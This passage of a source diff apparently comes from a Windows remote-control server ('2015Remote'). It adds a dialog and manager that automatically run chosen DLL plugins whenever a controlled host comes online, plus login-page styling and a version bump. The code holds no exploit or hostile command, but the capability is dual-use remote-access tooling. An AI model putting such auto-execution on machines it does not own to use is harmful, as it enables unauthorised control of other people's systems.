|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::InitControls()
|
||||
{
|
||||
// 初始化触发类型下拉框
|
||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||
|
||||
// 初始化插件列表
|
||||
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES);
|
||||
m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160);
|
||||
|
||||
// 初始化已配置触发器列表
|
||||
m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
||||
m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160);
|
||||
|
||||
// 设置静态文本
|
||||
SetWindowText(_TR("触发器设置"));
|
||||
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
|
||||
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadPluginsToList()
|
||||
{
|
||||
m_listPlugins.DeleteAllItems();
|
||||
|
||||
int index = 0;
|
||||
for (const auto& dll : m_DllList) {
|
||||
if (!dll || !dll->Data) continue;
|
||||
|
||||
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
|
||||
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||
index++;
|
||||
}
|
||||
|
||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
||||
if (onlineTrigger) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||
{
|
||||
m_listTriggers.DeleteAllItems();
|
||||
|
||||
const char* typeNames[] = { "主机上线" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& cfg : m_Configs) {
|
||||
if (!cfg.PluginNames.empty()) {
|
||||
// 显示触发器类型和插件数量
|
||||
CString text;
|
||||
text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size());
|
||||
m_listTriggers.InsertItem(index, text);
|
||||
m_listTriggers.SetItemData(index, cfg.Type);
|
||||
index++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd()
|
||||
{
|
||||
// 获取选中的触发类型
|
||||
int triggerType = m_comboTriggerType.GetCurSel();
|
||||
if (triggerType < 0) return;
|
||||
|
||||
// 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题)
|
||||
std::vector<std::string> selectedPlugins;
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
if (m_listPlugins.GetCheck(i)) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (dll) {
|
||||
selectedPlugins.push_back(dll->Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (selectedPlugins.empty()) {
|
||||
MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 查找或创建该类型的触发器
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
if (c.Type == (TriggerType)triggerType) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfg) {
|
||||
TriggerConfig newCfg;
|
||||
newCfg.Type = (TriggerType)triggerType;
|
||||
m_Configs.push_back(newCfg);
|
||||
cfg = &m_Configs.back();
|
||||
}
|
||||
|
||||
cfg->PluginNames = selectedPlugins;
|
||||
|
||||
// 刷新显示
|
||||
LoadTriggersToList();
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove()
|
||||
{
|
||||
POSITION pos = m_listTriggers.GetFirstSelectedItemPosition();
|
||||
if (!pos) return;
|
||||
|
||||
int nItem = m_listTriggers.GetNextSelectedItem(pos);
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 从配置中移除
|
||||
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
|
||||
if (it->Type == type) {
|
||||
m_Configs.erase(it);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 取消插件列表的勾选
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
m_listPlugins.SetCheck(i, FALSE);
|
||||
}
|
||||
|
||||
// 刷新显示
|
||||
LoadTriggersToList();
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
|
||||
*pResult = 0;
|
||||
|
||||
// 只处理选中状态变化
|
||||
if (!(pNMLV->uNewState & LVIS_SELECTED)) return;
|
||||
|
||||
int nItem = pNMLV->iItem;
|
||||
if (nItem < 0) return;
|
||||
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 查找对应的触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
if (c.Type == type) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 先取消所有勾选
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
m_listPlugins.SetCheck(i, FALSE);
|
||||
}
|
||||
|
||||
// 勾选该触发器配置的插件
|
||||
if (cfg) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : cfg->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 同步下拉框选择
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||
{
|
||||
// 先从界面收集当前选择
|
||||
int triggerType = m_comboTriggerType.GetCurSel();
|
||||
if (triggerType >= 0) {
|
||||
std::vector<std::string> selectedPlugins;
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
if (m_listPlugins.GetCheck(i)) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (dll) {
|
||||
selectedPlugins.push_back(dll->Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 更新或创建触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
if (c.Type == (TriggerType)triggerType) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!selectedPlugins.empty()) {
|
||||
if (!cfg) {
|
||||
TriggerConfig newCfg;
|
||||
newCfg.Type = (TriggerType)triggerType;
|
||||
m_Configs.push_back(newCfg);
|
||||
cfg = &m_Configs.back();
|
||||
}
|
||||
cfg->PluginNames = selectedPlugins;
|
||||
} else if (cfg) {
|
||||
// 如果没有选中插件,删除该触发器
|
||||
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
|
||||
if (it->Type == (TriggerType)triggerType) {
|
||||
m_Configs.erase(it);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SaveTriggerConfigs(m_Configs);
|
||||
LoadTriggersToList();
|
||||
|
||||
MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
std::string CTriggerSettingsDlg::GetTriggerConfigPath()
|
||||
{
|
||||
std::string dbPath = GetDbPath();
|
||||
size_t pos = dbPath.find_last_of("\\/");
|
||||
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
|
||||
return dir + "triggers.json";
|
||||
}
|
||||
|
||||
std::vector<TriggerConfig> CTriggerSettingsDlg::LoadTriggerConfigs()
|
||||
{
|
||||
std::vector<TriggerConfig> configs;
|
||||
std::string path = GetTriggerConfigPath();
|
||||
|
||||
std::ifstream file(path);
|
||||
if (!file.is_open()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
Json::Value root;
|
||||
Json::CharReaderBuilder builder;
|
||||
std::string errors;
|
||||
|
||||
if (!Json::parseFromStream(builder, file, &root, &errors)) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
if (!root.isArray()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
for (const auto& item : root) {
|
||||
TriggerConfig cfg;
|
||||
cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt();
|
||||
|
||||
const Json::Value& plugins = item["plugins"];
|
||||
if (plugins.isArray()) {
|
||||
for (const auto& p : plugins) {
|
||||
cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfg.PluginNames.empty()) {
|
||||
configs.push_back(cfg);
|
||||
}
|
||||
}
|
||||
|
||||
return configs;
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
std::string path = GetTriggerConfigPath();
|
||||
|
||||
Json::Value root(Json::arrayValue);
|
||||
|
||||
for (const auto& cfg : configs) {
|
||||
Json::Value item;
|
||||
item["type"] = cfg.Type;
|
||||
|
||||
Json::Value plugins(Json::arrayValue);
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
plugins.append(GbkToUtf8(name)); // GBK -> UTF-8
|
||||
}
|
||||
item["plugins"] = plugins;
|
||||
|
||||
root.append(item);
|
||||
}
|
||||
|
||||
std::ofstream file(path);
|
||||
if (file.is_open()) {
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = " ";
|
||||
builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX
|
||||
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||
writer->write(root, &file);
|
||||
file.close(); // 确保文件完全写入并关闭
|
||||
}
|
||||
|
||||
// 通知 TriggerManager 重新加载缓存
|
||||
TriggerManager::Instance().Reload();
|
||||
}
|
||||
|
||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
for (auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// TriggerManager 实现
|
||||
// ============================================
|
||||
|
||||
TriggerManager::TriggerManager() : m_bLoaded(false)
|
||||
{
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
TriggerManager::~TriggerManager()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void TriggerManager::LoadFromDisk()
|
||||
{
|
||||
// 不加锁,由调用者保证线程安全
|
||||
m_OnlinePlugins.clear();
|
||||
|
||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||
for (const auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE) {
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_OnlinePlugins.insert(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
m_bLoaded = true;
|
||||
}
|
||||
|
||||
void TriggerManager::Reload()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
LoadFromDisk();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
bool TriggerManager::HasOnlineTrigger()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
bool has = !m_OnlinePlugins.empty();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return has;
|
||||
}
|
||||
|
||||
std::set<std::string> TriggerManager::GetOnlinePlugins()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
std::set<std::string> result = m_OnlinePlugins; // 复制一份返回
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
99
server/2015Remote/TriggerSettingsDlg.h
Normal file
99
server/2015Remote/TriggerSettingsDlg.h
Normal file
@@ -0,0 +1,99 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <set>
|
||||
|
||||
// 前向声明
|
||||
struct DllInfo;
|
||||
|
||||
// 触发器类型
|
||||
enum TriggerType {
|
||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||
// 后续可扩展更多类型
|
||||
};
|
||||
|
||||
// 触发器配置
|
||||
struct TriggerConfig {
|
||||
TriggerType Type; // 触发类型
|
||||
std::vector<std::string> PluginNames; // 要执行的插件名称列表
|
||||
|
||||
TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {}
|
||||
};
|
||||
|
||||
// 触发器管理器(单例,线程安全,缓存配置)
|
||||
class TriggerManager {
|
||||
public:
|
||||
static TriggerManager& Instance() {
|
||||
static TriggerManager instance;
|
||||
return instance;
|
||||
}
|
||||
|
||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetOnlinePlugins();
|
||||
|
||||
// 重新加载配置(保存后调用)
|
||||
void Reload();
|
||||
|
||||
// 检查是否有上线触发器
|
||||
bool HasOnlineTrigger();
|
||||
|
||||
private:
|
||||
TriggerManager();
|
||||
~TriggerManager();
|
||||
TriggerManager(const TriggerManager&) = delete;
|
||||
TriggerManager& operator=(const TriggerManager&) = delete;
|
||||
|
||||
void LoadFromDisk();
|
||||
|
||||
CRITICAL_SECTION m_cs;
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
bool m_bLoaded;
|
||||
};
|
||||
|
||||
// 触发器设置对话框
|
||||
class CTriggerSettingsDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
|
||||
virtual ~CTriggerSettingsDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS };
|
||||
|
||||
// 静态方法:加载触发器配置
|
||||
static std::vector<TriggerConfig> LoadTriggerConfigs();
|
||||
// 静态方法:保存触发器配置
|
||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetTriggerConfigPath();
|
||||
// 静态方法:获取主机上线触发器(如果存在)
|
||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnBnClickedBtnSave();
|
||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
|
||||
private:
|
||||
void InitControls();
|
||||
void LoadPluginsToList();
|
||||
void LoadTriggersToList();
|
||||
void UpdateTriggerDisplay();
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
std::vector<TriggerConfig> m_Configs; // 触发器配置列表
|
||||
|
||||
// 控件变量
|
||||
CComboBox m_comboTriggerType;
|
||||
CListCtrl m_listPlugins;
|
||||
CListCtrl m_listTriggers;
|
||||
};
|
||||
@@ -44,7 +44,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.3.1"
|
||||
#define BRAND_VERSION "1.3.2"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -22,6 +22,7 @@ inline std::string GetWebPageHTML() {
|
||||
<meta name="mobile-web-app-capable" content="yes">
|
||||
<meta name="theme-color" content="#1a1a2e">
|
||||
<link rel="manifest" href="/manifest.json">
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,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">
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body {
|
||||
@@ -74,7 +75,7 @@ inline std::string GetWebPageHTML() {
|
||||
box-shadow: 0 0 0 3px rgba(233, 69, 96, 0.2);
|
||||
}
|
||||
.login-form input::placeholder { color: #666; }
|
||||
.login-form button {
|
||||
.login-form > button {
|
||||
width: 100%;
|
||||
padding: 14px;
|
||||
border: none;
|
||||
@@ -88,12 +89,80 @@ inline std::string GetWebPageHTML() {
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
.login-form button:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(233, 69, 96, 0.4); }
|
||||
.login-form button:disabled { background: #444; cursor: not-allowed; transform: none; box-shadow: none; }
|
||||
.login-form > button:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(233, 69, 96, 0.4); }
|
||||
.login-form > button:disabled { background: #444; cursor: not-allowed; transform: none; box-shadow: none; }
|
||||
.error-msg { color: #e94560; text-align: center; margin-top: 16px; font-size: 14px; }
|
||||
.conn-status { text-align: center; margin-bottom: 20px; font-size: 13px; color: #666; }
|
||||
.conn-status.connected { color: #4caf50; }
|
||||
.conn-status.disconnected { color: #f44336; }
|
||||
/* Password input with toggle */
|
||||
.password-wrapper {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
.password-wrapper input {
|
||||
margin-bottom: 0;
|
||||
padding-right: 48px;
|
||||
}
|
||||
.password-toggle {
|
||||
position: absolute;
|
||||
right: 12px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
background: none;
|
||||
border: none;
|
||||
color: #888;
|
||||
cursor: pointer;
|
||||
padding: 0;
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
font-size: 16px;
|
||||
line-height: 24px;
|
||||
text-align: center;
|
||||
transition: color 0.2s;
|
||||
opacity: 0.6;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.password-toggle:hover { color: #e94560; opacity: 1; }
|
||||
/* Login footer */
|
||||
.login-footer {
|
||||
margin-top: 24px;
|
||||
padding-top: 20px;
|
||||
border-top: 1px solid rgba(255,255,255,0.1);
|
||||
}
|
||||
.security-notice {
|
||||
background: rgba(255,152,0,0.1);
|
||||
border: 1px solid rgba(255,152,0,0.3);
|
||||
border-radius: 8px;
|
||||
padding: 12px;
|
||||
margin-bottom: 16px;
|
||||
font-size: 12px;
|
||||
color: #ccc;
|
||||
line-height: 1.5;
|
||||
}
|
||||
.security-notice strong {
|
||||
color: #ff9800;
|
||||
display: block;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login-links {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
gap: 24px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login-links a {
|
||||
color: #e94560;
|
||||
text-decoration: none;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
transition: color 0.2s;
|
||||
}
|
||||
.login-links a:hover { color: #ff6b8a; }
|
||||
)HTML";
|
||||
|
||||
// Part 2: Device page styles
|
||||
@@ -206,6 +275,118 @@ inline std::string GetWebPageHTML() {
|
||||
margin-left: 10px;
|
||||
}
|
||||
.logout-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); }
|
||||
.users-btn {
|
||||
padding: 10px 20px;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
background: linear-gradient(135deg, #9b59b6 0%, #8e44ad 100%);
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
cursor: pointer;
|
||||
transition: all 0.3s;
|
||||
margin-left: 10px;
|
||||
display: none;
